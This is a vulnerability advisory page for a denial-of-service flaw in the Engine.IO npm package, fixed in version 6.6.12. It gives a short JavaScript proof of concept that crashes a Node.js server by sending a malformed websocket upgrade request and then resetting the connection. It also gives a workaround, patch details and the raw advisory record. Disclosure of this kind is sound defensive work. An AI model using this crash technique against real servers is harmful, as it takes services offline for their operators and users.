GHSA-V775-F652-7RV6

Vulnerability from github – Published: 2026-12-01 02:56 – Updated: 2026-12-01 02:56
VLAI
Summary
Socket.IO: Engine.IO DoS via unhandled upgrade error
Details

Summary

A Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to unhandled socket errors when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via ECONNRESET) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an uncaught exception.

Proof of concept

import net from "node:net";
import http from "node:http";
import { Server } from "engine.io";

// Start a vulnerable Engine.IO server
const engine = new Server();
const server = http.createServer();
engine.attach(server);

server.listen(3000, () => {
  console.log("Vulnerable server listening on port 3000");

  // Attacker: Send an invalid upgrade request and disconnect abruptly
  const socket = net.connect(3000, () => {
    socket.write(
      "GET / HTTP/1.1\r\n" +
      "Connection: Upgrade\r\n" +
      "Upgrade: websocket\r\n" +
      "\r\n"
    );
    // Disconnect before the 1000ms timeout
    setTimeout(() => socket.resetAndDestroy(), 10);
  });
});

Expected Result: The server crashes with:

Unhandled 'error' event (ECONNRESET)

Patches

Fixed in:

  • engine.io@6.6.12 (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)

Workarounds

In vulnerable versions, the issue can be mitigated by registering a listener for the error event:

import http from "node:http";
import { Server } from "engine.io";

const engine = new Server();
const server = http.createServer();

// WORKAROUND: Add a global "upgrade" handler to catch ALL sockets
server.on("upgrade", (req, socket, head) => {
  socket.on("error", (err) => {
    console.debug(`[Workaround] Upgrade error: ${err.message}`);
  });
});

engine.attach(server);

server.listen(3000);

Note: This is a temporary mitigation. Upgrading to engine.io@6.6.12 and above is the recommended fix.

Credits

The vulnerability was responsibly disclosed by YuSheng Chen.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "engine.io"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "6.6.12"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-137200"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-248"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-12-01T02:56:43Z",
    "nvd_published_at": "2026-11-30T21:17:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**.\n\n### Proof of concept\n\n```js\nimport net from \"node:net\";\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, () =\u003e {\n  console.log(\"Vulnerable server listening on port 3000\");\n\n  // Attacker: Send an invalid upgrade request and disconnect abruptly\n  const socket = net.connect(3000, () =\u003e {\n    socket.write(\n      \"GET / HTTP/1.1\\r\\n\" +\n      \"Connection: Upgrade\\r\\n\" +\n      \"Upgrade: websocket\\r\\n\" +\n      \"\\r\\n\"\n    );\n    // Disconnect before the 1000ms timeout\n    setTimeout(() =\u003e socket.resetAndDestroy(), 10);\n  });\n});\n```\n\n**Expected Result:** The server crashes with:\n\n```\nUnhandled \u0027error\u0027 event (ECONNRESET)\n```\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.12` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by registering a listener for the `error` event:\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\nconst engine = new Server();\nconst server = http.createServer();\n\n// WORKAROUND: Add a global \"upgrade\" handler to catch ALL sockets\nserver.on(\"upgrade\", (req, socket, head) =\u003e {\n  socket.on(\"error\", (err) =\u003e {\n    console.debug(`[Workaround] Upgrade error: ${err.message}`);\n  });\n});\n\nengine.attach(server);\n\nserver.listen(3000);\n```\n\nNote: This is a **temporary mitigation**. Upgrading to `engine.io@6.6.12` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [YuSheng Chen](https://github.com/samuel871211).",
  "id": "GHSA-v775-f652-7rv6",
  "modified": "2026-12-01T02:56:43Z",
  "published": "2026-12-01T02:56:43Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/socketio/socket.io/security/advisories/GHSA-v775-f652-7rv6"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-137200"
    },
    {
      "type": "WEB",
      "url": "https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/socketio/socket.io"
    },
    {
      "type": "WEB",
      "url": "https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.12"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Socket.IO: Engine.IO DoS via unhandled upgrade error"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

JSON
How durations are calculated

Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation. The method is described in a publication.

Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.

Events included in the timeline

Loading timeline…


    Loading…

    Loading…

    Loading…

    Related by attack behaviour

    Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.